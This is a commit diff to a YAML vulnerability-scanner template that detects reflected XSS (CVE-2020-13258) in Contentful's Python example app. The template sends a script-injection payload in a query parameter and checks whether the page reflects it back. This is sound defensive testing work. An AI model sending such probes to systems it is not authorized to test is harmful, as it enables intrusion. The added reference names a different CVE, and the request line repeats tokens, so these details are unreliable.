Update CVE-2020-13258.yaml

cves/2020/CVE-2020-13258.yaml

@@ -1,20 +1,35 @@
 id: CVE-2020-13258
 
 info:
-  name: Contentful reflected XSS
+  name: Contentful - Reflected XSS
   author: pikpikcu
   severity: medium
-  description: Contentful through 2020-05-21 for Python allows reflected XSS.
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-13258
+  description: |
+    Contentful through 2020-05-21 for Python allows reflected XSS, as demonstrated by the api parameter to the-example-app.py.
+  reference:
+    - https://github.com/contentful/the-example-app.py/issues/44
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000140
   tags: cve,cve2020,contentful,xss
 
 requests:
   - raw:
       - |
-        GET /?cda'"<evil><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
+        GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
         Host: {{Hostname}}
 
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "<evil><script>alert(document.domain)</script>"
+          - "{'api': '"
+          - "</script><script>alert(document.domain)</script>\',"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200